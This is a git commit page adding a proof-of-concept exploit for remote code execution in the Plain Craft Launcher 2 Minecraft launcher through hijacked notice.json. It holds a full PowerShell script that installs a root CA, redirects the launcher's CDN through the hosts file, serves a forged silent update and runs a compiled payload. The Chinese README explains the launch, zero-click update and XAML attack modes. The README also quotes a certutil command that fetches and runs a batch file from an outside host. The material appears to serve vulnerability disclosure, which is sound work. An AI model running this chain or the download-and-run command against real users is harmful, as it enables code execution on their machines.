MiRinChan 1 день назад
Сommit
60acd233ef
14 измененных файлов с 1479 добавлено и 0 удалено
  1. 543 0
      Invoke-PCLPoC.ps1
  2. 297 0
      README.md
  3. 10 0
      certs/ca.cnf
  4. 19 0
      certs/ca.crt
  5. 28 0
      certs/ca.key
  6. 10 0
      certs/server.cnf
  7. 21 0
      certs/server.crt
  8. 28 0
      certs/server.key
  9. BIN
      certs/server.pfx
  10. 15 0
      samples/notice.launch.calc.json
  11. 14 0
      samples/notice.launch.certutil.json
  12. 247 0
      server.ps1
  13. 247 0
      server.py
  14. 0 0
      www/.gitkeep

+ 543 - 0
Invoke-PCLPoC.ps1

@@ -0,0 +1,543 @@
+#Requires -Version 5.1
+<#
+.SYNOPSIS
+    PCL2 (Plain Craft Launcher 2) notice.json local-hijack PoC.
+
+.DESCRIPTION
+    Installs a lab CA into the machine root store, points the PCL notice CDN
+    hostname at 127.0.0.1, serves forged notice.cfg / notice.json /
+    ServerConfig.json / update.zip from server.py, starts the supplied PCL
+    build, and verifies that the payload (marker + calc.exe) was executed.
+
+    Modes:
+      launch : notice.json -> actions.setup -> LaunchAdvanceRun = payload.
+               The payload fires when you click "Start Game" in PCL.
+               (Reproduces the sample notice supplied by the requester.)
+      update : notice.cfg v999 + notice.json -> actions.slientupdate +
+               ServerConfig DownloadUrls -> update.zip = payload renamed to
+               "Plain Craft Launcher 2.exe".  Zero-click: PCL downloads and
+               extracts it, then executes it when PCL exits.
+      xaml   : notice.json -> actions.setup -> remote Custom.xaml homepage
+               + HintCustomCommand=true.  Two PCL starts: the first writes
+               the settings, the second loads the XAML; one click on the
+               injected button runs the payload.
+      both   : launch + update (default).
+
+    Run this only in an isolated Windows VM.  It modifies the hosts file,
+    the machine root certificate store and the PCL settings; cleanup is
+    attempted in the finally block.
+
+.PARAMETER PclPath
+    Path to the PCL executable.  Defaults to ..\Plain Craft Launcher 2.exe.
+
+.PARAMETER Port
+    Local HTTPS port (default 443, requires administrator).
+
+.PARAMETER Timeout
+    Seconds to wait for the payload marker (default 180).
+
+.PARAMETER KeepArtifacts
+    Do not delete the marker / payload / staging exe after the run.
+
+.EXAMPLE
+    powershell -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
+#>
+[CmdletBinding()]
+param(
+    [ValidateSet('launch', 'update', 'xaml', 'both')]
+    [string]$Mode = 'both',
+
+    [string]$PclPath = '',
+
+    [int]$Port = 443,
+
+    [int]$Timeout = 180,
+
+    [string]$PythonExe = '',
+
+    [ValidateSet('auto', 'powershell', 'python')]
+    [string]$Server = 'auto',
+
+    [switch]$KeepArtifacts,
+
+    [switch]$Pause,
+
+    [switch]$Manual
+)
+
+$ErrorActionPreference = 'Stop'
+
+$Domain       = 'pcl2-server-1253424809.file.myqcloud.com'
+$PocDir       = Split-Path -Parent $MyInvocation.MyCommand.Path
+$HostsFile    = Join-Path $env:SystemRoot 'System32\drivers\etc\hosts'
+$PublicDir    = if ($env:PUBLIC) { $env:PUBLIC } else { 'C:\Users\Public' }
+$PayloadExe   = Join-Path $PublicDir 'pclpoc.exe'
+$MarkerFile   = Join-Path $env:TEMP 'pcl-poc-marker.txt'
+$BackupDir    = Join-Path $PocDir 'backup'
+$RunLog       = Join-Path $PocDir 'poc-run.log'
+$pauseArg     = if ($Pause) { ' -Pause' } else { '' }
+$usePsServer  = ($Server -ne 'python')
+$manualArg    = if ($Manual) { ' -Manual' } else { '' }
+
+function Write-Log {
+    param([string]$Message)
+    $line = '[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message
+    Write-Host $line
+    Add-Content -LiteralPath $RunLog -Value $line -Encoding UTF8
+}
+
+function Test-Admin {
+    $id = [Security.Principal.WindowsIdentity]::GetCurrent()
+    $pr = New-Object Security.Principal.WindowsPrincipal($id)
+    return $pr.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
+}
+
+function Wait-Port {
+    param([int]$TcpPort, [int]$Seconds = 15)
+    $sw = [Diagnostics.Stopwatch]::StartNew()
+    while ($sw.Elapsed.TotalSeconds -lt $Seconds) {
+        try {
+            $c = New-Object Net.Sockets.TcpClient
+            $c.Connect('127.0.0.1', $TcpPort)
+            $c.Close()
+            return $true
+        } catch {
+            Start-Sleep -Milliseconds 250
+        }
+    }
+    return $false
+}
+
+function Close-Pcl {
+    param([System.Diagnostics.Process]$Process)
+    if ($null -eq $Process -or $Process.HasExited) { return }
+    Write-Log "Closing PCL PID $($Process.Id) ..."
+    $null = $Process.CloseMainWindow()
+    if (-not $Process.WaitForExit(10000)) {
+        try {
+            $ws = New-Object -ComObject WScript.Shell
+            $null = $ws.AppActivate($Process.Id)
+            Start-Sleep -Milliseconds 300
+            $ws.SendKeys('%{F4}')
+            Start-Sleep -Milliseconds 800
+            $ws.SendKeys('{ENTER}')
+        } catch { }
+        $null = $Process.WaitForExit(8000)
+    }
+    if (-not $Process.HasExited) {
+        Write-Log 'PCL did not exit gracefully, killing it (silent-update restart may be skipped).'
+        Stop-Process -Id $Process.Id -Force
+    }
+}
+
+# --------------------------------------------------------------------------
+# PowerShell 7 compatibility: the payload compiler below needs Windows
+# PowerShell 5.1 (`Add-Type -OutputType ConsoleApplication` is unsupported in
+# pwsh 7).  Re-launch under 5.1 once, preserving elevation.
+# --------------------------------------------------------------------------
+if ($PSVersionTable.PSEdition -eq 'Core' -and $env:PCLPOC_PS51 -ne '1') {
+    Write-Host '[*] PowerShell 7 detected; switching to Windows PowerShell 5.1 ...'
+    $q = "`$env:PCLPOC_PS51='1'; & '$PSCommandPath' -Mode '$Mode' -PclPath '$PclPath' -Port $Port -Timeout $Timeout$pauseArg$manualArg"
+    $ps51Args = @('-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $q)
+    try {
+        if (Test-Admin) {
+            Start-Process -FilePath 'powershell.exe' -ArgumentList $ps51Args | Out-Null
+        } else {
+            Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList $ps51Args | Out-Null
+        }
+        exit
+    } catch {
+        Write-Warning "Could not start powershell.exe 5.1 ($($_.Exception.Message)); continuing in pwsh."
+    }
+}
+
+# --------------------------------------------------------------------------
+# elevation
+# --------------------------------------------------------------------------
+if (-not (Test-Admin)) {
+    Write-Host '[*] Administrator privileges are required; relaunching elevated ...'
+    $q = "& '$PSCommandPath' -Mode '$Mode' -PclPath '$PclPath' -Port $Port -Timeout $Timeout$pauseArg$manualArg"
+    Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList @(
+        '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $q
+    ) | Out-Null
+    exit
+}
+
+New-Item -ItemType Directory -Force -Path $BackupDir | Out-Null
+Set-Content -LiteralPath $RunLog -Value "PCL2 notice.json PoC - $(Get-Date -Format o)" -Encoding UTF8
+
+$srv         = $null
+$pcl         = $null
+$caCert      = $null
+$leafCert    = $null
+$hostsBackup = Join-Path $BackupDir 'hosts.bak'
+$setupIni    = $null
+$setupBackup = $null
+$regBackup   = Join-Path $BackupDir 'pcl-reg.bak.reg'
+$stagingExe  = $null
+$stagingExisted = $false
+
+try {
+    # ----------------------------------------------------------------------
+    # resolve paths / python
+    # ----------------------------------------------------------------------
+    if (-not $PclPath -and -not $Manual) {
+        $PclPath = Join-Path (Split-Path -Parent $PocDir) 'Plain Craft Launcher 2.exe'
+    }
+    if ($PclPath) {
+        if (-not (Test-Path -LiteralPath $PclPath)) {
+            throw "PCL executable not found: $PclPath"
+        }
+        $PclPath = (Resolve-Path -LiteralPath $PclPath).Path
+        $PclDir  = Split-Path -Parent $PclPath
+        Write-Log "PCL: $PclPath"
+    } else {
+        Write-Log 'No PclPath: server-only manual mode; all PCL-specific steps are skipped.'
+        Write-Log 'WARNING: PCL Setup.ini is not backed up; use a disposable PCL copy.'
+        Write-Log 'WARNING: staging cleanup is skipped; delete <your PCL>\PCL\Plain Craft Launcher 2.exe manually.'
+    }
+
+    if (-not $usePsServer) {
+    $pyPrefix = @()
+    if ($PythonExe) {
+        $pc = Get-Command $PythonExe -ErrorAction SilentlyContinue
+        if ($pc) {
+            $pyPath = $pc.Source
+        } elseif (Test-Path -LiteralPath $PythonExe) {
+            $pyPath = (Resolve-Path -LiteralPath $PythonExe).Path
+        } else {
+            throw "PythonExe not found: $PythonExe"
+        }
+        if ([IO.Path]::GetFileName($pyPath) -ieq 'py.exe') { $pyPrefix = @('-3') }
+    } else {
+        $pyPath = $null
+        foreach ($name in @('python.exe', 'py.exe', 'python3.exe')) {
+            foreach ($c in @(Get-Command $name -All -ErrorAction SilentlyContinue)) {
+                if ($c.Source -like '*\WindowsApps\*') {
+                    Write-Log "Skipping Microsoft Store alias: $($c.Source)"
+                    continue
+                }
+                $pyPath = $c.Source
+                if ($name -ieq 'py.exe') { $pyPrefix = @('-3') }
+                break
+            }
+            if ($pyPath) { break }
+        }
+        if (-not $pyPath) {
+            throw "No real Python 3 found. The python.exe in WindowsApps is a Microsoft Store alias and cannot run server.py. Install Python from python.org (check 'Add python.exe to PATH'), or run: winget install -e --id Python.Python.3.12  Then rerun with -PythonExe C:\Path\to\python.exe if needed."
+        }
+    }
+    $ver = (& $pyPath @pyPrefix --version 2>&1) -join ' '
+    if ($LASTEXITCODE -ne 0) {
+        throw "Python failed to run: $pyPath $($pyPrefix -join ' ') --version => $ver"
+    }
+    Write-Log "Python: $pyPath ($ver)"
+    }
+
+    # ----------------------------------------------------------------------
+    # backup / patch hosts
+    # ----------------------------------------------------------------------
+    Copy-Item -LiteralPath $HostsFile -Destination $hostsBackup -Force
+    $hostsLines = Get-Content -LiteralPath $HostsFile -ErrorAction SilentlyContinue
+    if (-not ($hostsLines -match "(^|\s)$([regex]::Escape($Domain))(\s|$)")) {
+        Add-Content -LiteralPath $HostsFile -Value "`r`n127.0.0.1 $Domain" -Encoding ASCII
+        Write-Log "hosts: $Domain -> 127.0.0.1"
+    } else {
+        Write-Log 'hosts already contains the lab entry.'
+    }
+    & ipconfig.exe /flushdns 2>$null | Out-Null
+    Write-Log 'DNS cache flushed.' 
+
+    # ----------------------------------------------------------------------
+    # trust the lab CA
+    # ----------------------------------------------------------------------
+    if ($usePsServer) {
+        Write-Log 'Generating lab CA and leaf certificates ...'
+        $caCert = New-SelfSignedCertificate -Subject 'CN=PCL2 PoC Lab CA' `
+            -CertStoreLocation 'Cert:\CurrentUser\My' -KeyUsage CertSign,CRLSign `
+            -TextExtension @('2.5.29.19={critical}{text}ca=1') -NotAfter (Get-Date).AddYears(10)
+        $leafCert = New-SelfSignedCertificate -DnsName $Domain -Signer $caCert `
+            -CertStoreLocation 'Cert:\CurrentUser\My' `
+            -TextExtension @('2.5.29.37={text}1.3.6.1.5.5.7.3.1') -NotAfter (Get-Date).AddYears(10)
+        $caCer = Join-Path $BackupDir 'poc-ca.cer'
+        Export-Certificate -Cert $caCert -FilePath $caCer -Force | Out-Null
+        Import-Certificate -FilePath $caCer -CertStoreLocation 'Cert:\LocalMachine\Root' | Out-Null
+        Write-Log "CA generated: $($caCert.Thumbprint)"
+        Write-Log "leaf generated: $($leafCert.Thumbprint)"
+    } else {
+        $caPath = Join-Path $PocDir 'certs\ca.crt'
+        $caCert = Import-Certificate -FilePath $caPath -CertStoreLocation 'Cert:\LocalMachine\Root'
+        Write-Log "CA imported: $($caCert.Thumbprint)"
+    }
+
+    # ----------------------------------------------------------------------
+    # build the payload (marker + calc.exe)
+    # ----------------------------------------------------------------------
+    $payloadCode = @'
+using System;
+using System.Diagnostics;
+using System.IO;
+
+public class PclPocPayload
+{
+    public static void Main(string[] args)
+    {
+        try
+        {
+            string marker = Path.Combine(Path.GetTempPath(), "pcl-poc-marker.txt");
+            string line = DateTime.Now.ToString("o") + " pid=" +
+                Process.GetCurrentProcess().Id + " args=" + string.Join(" ", args) +
+                Environment.NewLine;
+            File.AppendAllText(marker, line);
+        }
+        catch { }
+        try { Process.Start("calc.exe"); } catch { }
+    }
+}
+'@
+    if (Test-Path -LiteralPath $PayloadExe) { Remove-Item -LiteralPath $PayloadExe -Force }
+    try {
+        Add-Type -TypeDefinition $payloadCode -OutputAssembly $PayloadExe -OutputType ConsoleApplication -ErrorAction Stop
+        Write-Log "payload compiled: $PayloadExe"
+    } catch {
+        Write-Log "payload compile failed ($($_.Exception.Message)); falling back to calc.exe copy"
+        Copy-Item -LiteralPath (Join-Path $env:SystemRoot 'System32\calc.exe') -Destination $PayloadExe -Force
+    }
+
+    # ----------------------------------------------------------------------
+    # back up PCL state that the notice will modify
+    # ----------------------------------------------------------------------
+    if ($PclDir) {
+        $setupIni = Join-Path $PclDir 'PCL\Setup.ini'
+        if (Test-Path -LiteralPath $setupIni) {
+            $setupBackup = Join-Path $BackupDir 'Setup.ini.bak'
+            Copy-Item -LiteralPath $setupIni -Destination $setupBackup -Force
+        }
+    }
+    & cmd.exe /c "reg export `"HKCU\Software\PCL`" `"$regBackup`" /y >nul 2>&1"
+
+    # reset notice bookkeeping so our id is always considered new
+    & cmd.exe /c "reg add `"HKCU\Software\PCL`" /v HintNotice /t REG_SZ /d 0 /f >nul 2>&1"
+
+    # remove stale caches
+    $cacheDir = Join-Path $env:TEMP 'PCL\Cache'
+    foreach ($n in @('Notice.json', 'Notice.cfg', 'ServerConfig.json', 'Custom.xaml')) {
+        Remove-Item -LiteralPath (Join-Path $cacheDir $n) -Force -ErrorAction SilentlyContinue
+    }
+    Remove-Item -LiteralPath $MarkerFile -Force -ErrorAction SilentlyContinue
+
+    if ($PclDir) {
+        $stagingExe = Join-Path $PclDir 'PCL\Plain Craft Launcher 2.exe'
+        if (Test-Path -LiteralPath $stagingExe) {
+            $stagingExisted = $true
+            Copy-Item -LiteralPath $stagingExe -Destination (Join-Path $BackupDir 'staging.bak') -Force
+            Remove-Item -LiteralPath $stagingExe -Force -ErrorAction SilentlyContinue
+        }
+    }
+
+    # ----------------------------------------------------------------------
+    # start the forged HTTPS server
+    # ----------------------------------------------------------------------
+    $zip = Join-Path $PocDir 'www\update.zip'
+    Remove-Item -LiteralPath $zip -Force -ErrorAction SilentlyContinue
+
+    $stdout = Join-Path $BackupDir 'server.out.log'
+    $stderr = Join-Path $BackupDir 'server.err.log'
+    if ($usePsServer) {
+        $serverScript = Join-Path $PocDir 'server.ps1'
+        $serverArgs = @(
+            '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', ('"' + $serverScript + '"'),
+            '-Mode', $Mode,
+            '-Bind', '127.0.0.1',
+            '-Port', $Port,
+            '-PayloadExe', ('"' + $PayloadExe + '"'),
+            '-CertThumbprint', $leafCert.Thumbprint
+        )
+        $srv = Start-Process -FilePath 'powershell.exe' -ArgumentList $serverArgs `
+            -PassThru -WindowStyle Hidden -RedirectStandardOutput $stdout -RedirectStandardError $stderr
+    } else {
+        $serverScript = Join-Path $PocDir 'server.py'
+        $serverArgs = @(
+            ('"' + $serverScript + '"'),
+            '--mode', $Mode,
+            '--bind', '127.0.0.1',
+            '--port', $Port,
+            '--payload-exe', ('"' + $PayloadExe + '"')
+        )
+        $srv = Start-Process -FilePath $pyPath -ArgumentList (@($pyPrefix) + $serverArgs) `
+            -PassThru -WindowStyle Hidden -RedirectStandardOutput $stdout -RedirectStandardError $stderr
+    }
+    if (-not (Wait-Port -TcpPort $Port -Seconds 15)) {
+        $tail = ''
+        if (Test-Path -LiteralPath $stderr) {
+            $tail = ((Get-Content -LiteralPath $stderr -Tail 30 -ErrorAction SilentlyContinue) -join [Environment]::NewLine)
+        }
+        throw "PoC server did not listen on port $Port. Server stderr:`n$tail`nSee $stderr"
+    }
+    Write-Log "PoC server listening on https://127.0.0.1:$Port (mode=$Mode)"
+
+    # ----------------------------------------------------------------------
+    # start PCL
+    # ----------------------------------------------------------------------
+    if ($Manual) {
+        Write-Log 'Manual mode: PCL will not be started or closed by this script.'
+        Write-Host ''
+        Write-Host '>>> MANUAL MODE: start and close PCL yourself.' -ForegroundColor Yellow
+        if ($PclPath) {
+            Write-Host ">>> PCL: $PclPath"
+        } else {
+            Write-Host '>>> PCL: your own copy (this script does not track or touch it)'
+        }
+        $stagingLabel = if ($stagingExe) { $stagingExe } else { '<your PCL folder>\PCL\Plain Craft Launcher 2.exe' }
+        switch ($Mode) {
+            'update' { Write-Host ">>> Wait until this file exists: $stagingLabel" }
+            'both'   { Write-Host ">>> Wait until this file exists: $stagingLabel" }
+            'launch' { Write-Host '>>> In PCL, click "Start Game".' }
+            'xaml'   { Write-Host '>>> Start PCL, wait about 20 seconds, close it, start it again, then click "Continue".' }
+        }
+        Write-Host '>>> Then close PCL normally (for update mode) or finish the click.'
+        Write-Host '>>> The server keeps running while you work.'
+        Write-Host '>>> When done, press Enter in THIS window to verify and cleanup.'
+        Write-Host ''
+        Read-Host 'Press Enter to stop the server and cleanup'
+    } else {
+        Write-Log 'Starting PCL ...'
+        $pcl = Start-Process -FilePath $PclPath -WorkingDirectory $PclDir -PassThru
+        Write-Log "PCL PID $($pcl.Id)"
+
+        if ($Mode -eq 'update' -or $Mode -eq 'both') {
+            Write-Log 'Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...'
+            $sw = [Diagnostics.Stopwatch]::StartNew()
+            while ($sw.Elapsed.TotalSeconds -lt 120) {
+                if ((Test-Path -LiteralPath $stagingExe) -and ((Get-Item -LiteralPath $stagingExe).Length -gt 0)) {
+                    Write-Log 'update payload staged.'
+                    break
+                }
+                Start-Sleep -Milliseconds 500
+            }
+            if (-not (Test-Path -LiteralPath $stagingExe)) {
+                Write-Log 'WARNING: update payload was not staged; check server logs and PCL logs.'
+            }
+            Start-Sleep -Seconds 2
+            Close-Pcl -Process $pcl
+        }
+
+        if ($Mode -eq 'xaml') {
+            Write-Log 'First start: writing malicious settings, then restarting PCL.'
+            Start-Sleep -Seconds 20
+            Close-Pcl -Process $pcl
+            Start-Sleep -Seconds 2
+            $pcl = Start-Process -FilePath $PclPath -WorkingDirectory $PclDir -PassThru
+            Write-Log "PCL PID $($pcl.Id) (second start)"
+            Write-Log 'Waiting for Custom.xaml to be downloaded ...'
+            $xamlCache = Join-Path $cacheDir 'Custom.xaml'
+            $sw = [Diagnostics.Stopwatch]::StartNew()
+            while ($sw.Elapsed.TotalSeconds -lt 60) {
+                if (Test-Path -LiteralPath $xamlCache) { break }
+                Start-Sleep -Milliseconds 500
+            }
+            Write-Host ''
+            Write-Host '>>> Fake Custom.xaml loaded. Click "Continue" on the PCL home page.' -ForegroundColor Yellow
+            Write-Host ''
+        } elseif ($Mode -eq 'launch') {
+            Write-Host ''
+            Write-Host '>>> In PCL, click "Start Game" (a working Minecraft instance is required).' -ForegroundColor Yellow
+            Write-Host '>>> This is what runs the LaunchAdvanceRun payload.' -ForegroundColor Yellow
+            Write-Host ''
+        }
+
+    }
+
+    # ----------------------------------------------------------------------
+    # wait for the marker
+    # ----------------------------------------------------------------------
+    if (-not $Manual) {
+        Write-Log "Waiting up to $Timeout seconds for $MarkerFile ..."
+        $sw = [Diagnostics.Stopwatch]::StartNew()
+        while ($sw.Elapsed.TotalSeconds -lt $Timeout) {
+            if (Test-Path -LiteralPath $MarkerFile) { break }
+            if ($pcl -and $pcl.HasExited -and $Mode -ne 'update' -and $Mode -ne 'both') { break }
+            Start-Sleep -Milliseconds 500
+        }
+    }
+
+    if (Test-Path -LiteralPath $MarkerFile) {
+        Write-Host ''
+        Write-Host '[+] SUCCESS: payload executed.' -ForegroundColor Green
+        Get-Content -LiteralPath $MarkerFile | ForEach-Object { Write-Host "    $_" }
+        Write-Host ''
+    } else {
+        Write-Host ''
+        Write-Host '[-] No marker file was produced.' -ForegroundColor Red
+        if ($PclDir) {
+            Write-Host "    PCL log: $PclDir\PCL\Log*.txt"
+        }
+        Write-Host "    server log: $stdout"
+        Write-Host ''
+    }
+
+    if ($pcl -and -not $pcl.HasExited) {
+        Write-Log 'Leaving PCL running for inspection.'
+    }
+}
+catch {
+    Write-Host ''
+    Write-Host "[-] ERROR: $($_.Exception.Message)" -ForegroundColor Red
+    try { Write-Log "ERROR: $($_.Exception.Message)" } catch { }
+}
+finally {
+    Write-Log 'Cleanup ...'
+    if ($srv -and -not $srv.HasExited) {
+        Stop-Process -Id $srv.Id -Force -ErrorAction SilentlyContinue
+    }
+    if ($pcl -and -not $pcl.HasExited) {
+        try { $pcl.CloseMainWindow() | Out-Null } catch { }
+        Start-Sleep -Milliseconds 500
+        if (-not $pcl.HasExited) { Stop-Process -Id $pcl.Id -Force -ErrorAction SilentlyContinue }
+    }
+
+    if ($caCert) {
+        Remove-Item -LiteralPath "Cert:\LocalMachine\Root\$($caCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
+        if ($usePsServer) {
+            Remove-Item -LiteralPath "Cert:\CurrentUser\My\$($caCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
+        }
+        Write-Log 'CA removed.'
+    }
+    if ($leafCert) {
+        Remove-Item -LiteralPath "Cert:\CurrentUser\My\$($leafCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
+        Write-Log 'leaf certificate removed.'
+    }
+    if (Test-Path -LiteralPath $hostsBackup) {
+        Copy-Item -LiteralPath $hostsBackup -Destination $HostsFile -Force
+        Write-Log 'hosts restored.'
+    }
+    if ($setupBackup -and (Test-Path -LiteralPath $setupBackup)) {
+        Copy-Item -LiteralPath $setupBackup -Destination $setupIni -Force
+    }
+    if (Test-Path -LiteralPath $regBackup) {
+        & cmd.exe /c "reg import `"$regBackup`" >nul 2>&1"
+        Write-Log 'PCL registry restored.'
+    }
+    if ($stagingExisted -and (Test-Path -LiteralPath (Join-Path $BackupDir 'staging.bak'))) {
+        Copy-Item -LiteralPath (Join-Path $BackupDir 'staging.bak') -Destination $stagingExe -Force -ErrorAction SilentlyContinue
+    } elseif (-not $stagingExisted -and $stagingExe -and (Test-Path -LiteralPath $stagingExe)) {
+        Remove-Item -LiteralPath $stagingExe -Force -ErrorAction SilentlyContinue
+    }
+    if (-not $setupBackup -and $setupIni -and (Test-Path -LiteralPath $setupIni)) {
+        Remove-Item -LiteralPath $setupIni -Force -ErrorAction SilentlyContinue
+    }
+    if ($cacheDir) {
+        foreach ($n in @('Notice.json', 'notice.cfg', 'ServerConfig.json', 'Custom.xaml')) {
+            Remove-Item -LiteralPath (Join-Path $cacheDir $n) -Force -ErrorAction SilentlyContinue
+        }
+    }
+    if (-not $KeepArtifacts) {
+        Remove-Item -LiteralPath $PayloadExe -Force -ErrorAction SilentlyContinue
+    }
+    Write-Log 'Done.'
+}
+
+if ($Pause) {
+    Write-Host ''
+    Read-Host 'Press Enter to close'
+}

+ 297 - 0
README.md

@@ -0,0 +1,297 @@
+# PCL2 `notice.json` RCE PoC(实验室内网)
+
+> 仅用于授权的隔离 Windows VM。不要在真实用户/生产环境运行。
+> 本 PoC 不修改 PCL 二进制;它通过“自签 CA + hosts + 本地 HTTPS”复现真实攻击面。
+
+## 文件
+
+```
+poc/
+├── server.ps1             纯 PowerShell HTTPS 伪造服务器(默认,无需 Python)
+├── server.py              可选 Python 版服务器(-Server python 时使用)
+├── Invoke-PCLPoC.ps1      Windows 一键脚本(需管理员)
+├── certs/                 可选 Python 模式使用的 PEM 证书
+├── www/                   运行时可写目录(update.zip 在这里生成)
+└── README.md
+```
+
+默认走 **纯 PowerShell 服务端**(`TcpListener` + `SslStream`),不需要安装 Python;
+只有在 `-Server python` 时才需要 Python 3。
+
+## 模式
+
+| 模式 | notice.json 动作 | 触发方式 | 说明 |
+|---|---|---|---|
+| `launch` | `setup.LaunchAdvanceRun = <payload>` | 在 PCL 点“启动游戏” | 复现需求方样本;需要可用 MC 实例 |
+| `update` | `slientupdate` + `ServerConfig.DownloadUrls` | PCL 启动后正常关闭 | **零点击**;任意 zip → 任意 exe |
+| `xaml` | `setup.UiCustomType/UiCustomNet/HintCustomCommand` | 第二次启动点页面按钮 | 远程自定义主页 + 自定义事件 |
+| `both` | `launch` + `update` | 关闭 PCL 即触发 | 默认 |
+
+## 前置条件
+
+- Windows 10/11 隔离 VM;
+- PCL2 2.99.0.0(本仓库根目录的 `Plain Craft Launcher 2.exe`);
+- Python 3 仅在 `-Server python` 时需要;默认 `-Server auto` 使用纯 PowerShell 服务端,不需要 Python;
+- 管理员 Windows PowerShell 5.1(Windows 10/11 自带;`powershell.exe`)。
+  脚本已做成**纯 ASCII + CRLF**,避免 5.1 把无 BOM 的 UTF-8 当 ANSI/GBK 读而报
+  “字符串缺少终止符”/“缺少右 }”;
+  脚本不要求 PowerShell 7;即使从 `pwsh` 启动,也会自动切回 5.1,
+  因为 `Add-Type -OutputType ConsoleApplication` 在 pwsh 7 下不可用。
+- `launch` 模式需要一个能启动的 Minecraft 版本;
+- 先手动启动一次 PCL,接受 EULA/初始化,然后完全关闭(避免首启弹窗/单实例卡住 PoC);
+- 确保 VM 系统时间正确(证书有效期 2026-2036);
+- 修改 hosts 后脚本会执行 `ipconfig /flushdns`;如果仍解析到真实 CDN,手动再刷新一次;
+- 确保 Windows 没有系统代理,或在 IE/WinHTTP 代理中排除
+  `pcl2-server-1253424809.file.myqcloud.com`;否则 .NET 可能把请求发给代理,
+  而不是 hosts 指向的 127.0.0.1;
+- 脚本为了改 hosts/证书会以管理员身份运行,因此它启动的 PCL 也是管理员令牌;
+  真实攻击中 PCL 以当前用户权限运行,效果相同,但这不是提权漏洞。
+
+## 直接用计算器(最小变体)
+
+`server.py` 的 `launch` 模式默认让 `LaunchAdvanceRun` 指向 payload(写 marker + 计算器)。
+如果只想复现“计算器弹出”,可以用 `poc/samples/notice.launch.calc.json` 的内容,
+把 `LaunchAdvanceRun` 改成 `start calc.exe`,或直接运行:
+
+```powershell
+python .\server.py --mode launch --port 443 --payload-exe "C:\Windows\System32\calc.exe"
+```
+
+此时 `LaunchAdvanceRun` 就是 `calc.exe`,PCL 点击“启动游戏”后执行
+`cmd.exe /c "C:\Windows\System32\calc.exe"`。
+
+## 复现需求方原始 certutil 样本
+
+`poc/samples/notice.launch.certutil.json` 保留了原始的
+`start /b cmd /c "certutil ... http://192.168.1.144:8084/swt ..."`。
+使用时:
+
+1. 在 `192.168.1.144:8084` 起一个 HTTP 服务,放 `swt`(内容为
+   `run.bat` 的下载地址或直接是批处理)和 `run.bat`;
+2. 把该 JSON 作为 `notice.json` 返回(可改 `server.py` 的 `build_notice`);
+3. PCL 启动后点击“启动游戏”,`McLaunchCustom` 会执行 `cmd /c`——
+   注意这不是 PCL 启动即执行,而是游戏启动流水线的一环。
+
+如果只想看计算器,直接用 `Invoke-PCLPoC.ps1 -Mode launch` 即可。
+
+## 手动模式(推荐:用你自己的 PCL,自己关闭)
+
+如果不想让脚本自动启动/关闭 PCL,加 `-Manual`:
+
+```powershell
+cd C:\Users\MiRin\Desktop\PCLPoC\poc
+
+powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 `
+  -Mode update `
+  -Manual `
+  -PclPath "C:\Users\MiRin\Desktop\PCLPoC\Plain Craft Launcher 2.exe"
+```
+
+`-PclPath` 可以完全省略:脚本不启动、不关闭、也不读取你的 PCL 目录:
+
+```powershell
+powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 `
+  -Mode update `
+  -Manual
+```
+
+脚本只做:
+
+1. 生成/信任实验室 CA;
+2. 改 hosts + flush DNS;
+3. 起本地 HTTPS 服务端;
+4. 打印操作提示,然后**等你按 Enter**。
+
+> 不传 `-PclPath` 时脚本不会备份/恢复 `PCL\Setup.ini`,也不会清理
+> `<你的PCL>\PCL\Plain Craft Launcher 2.exe` staging;公告对 PCL 设置的修改会留在
+> 你用的那份 PCL 里。建议用一份可丢弃的 PCL 副本,或传 `-PclPath` 让脚本备份/清理。
+
+PCL 由你自己启动、自己关闭:
+
+- `update`:启动 PCL,等
+  `<PCL目录>\PCL\Plain Craft Launcher 2.exe` 出现,然后正常关闭 PCL;
+  计算器弹出后,回到脚本窗口按 Enter。
+- `launch`:启动 PCL,点“启动游戏”,计算器弹出后关闭 PCL,再按 Enter。
+- `xaml`:启动 PCL,等约 20 秒关闭;再启动,点页面 `Continue`;
+  关闭后按 Enter。
+
+按 Enter 后脚本才校验 marker、清理 hosts/证书/staging。这样你可以:
+
+- 用自己已经配置好的 PCL(登录、版本、设置都不动);
+- 自己控制什么时候启动、什么时候关闭;
+- 在关闭 PCL 前继续观察日志/抓包。
+
+注意:`-Manual` 不会自动关 PCL,所以清理前请先自己把 PCL 关掉,避免它还在请求时
+hosts/证书被还原。
+
+## 一键运行
+
+```powershell
+# 管理员 PowerShell
+cd <PCL目录>\poc
+powershell -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
+```
+
+脚本会:
+
+1. 备份 hosts / `PCL\Setup.ini` / `HKCU\Software\PCL` / 更新 staging;
+2. 把 `certs\ca.crt` 装进 `Cert:\LocalMachine\Root`;
+3. 把 `pcl2-server-1253424809.file.myqcloud.com` 指向 `127.0.0.1`;
+4. 用 `Add-Type` 编译 payload(写 `%TEMP%\pcl-poc-marker.txt` + 启动 `calc.exe`);
+5. 启动 `server.py`(HTTPS 443);
+6. 启动 PCL;
+7. `update`/`both`:等待 `PCL\Plain Craft Launcher 2.exe` 出现,关闭 PCL;
+   `launch`:提示你点“启动游戏”;
+   `xaml`:第一次启动写设置并关闭,第二次启动等 `Cache\Custom.xaml`,提示点 `Continue`;
+8. 校验 marker / `calc.exe`;
+9. 清理 hosts、根证书、PCL 注册表、staging、payload。
+
+## 手动分步
+
+```powershell
+# 1. 信任 CA
+Import-Certificate .\certs\ca.crt -CertStoreLocation Cert:\LocalMachine\Root
+
+# 2. hosts
+Add-Content $env:SystemRoot\System32\drivers\etc\hosts `
+  "`r`n127.0.0.1 pcl2-server-1253424809.file.myqcloud.com"
+
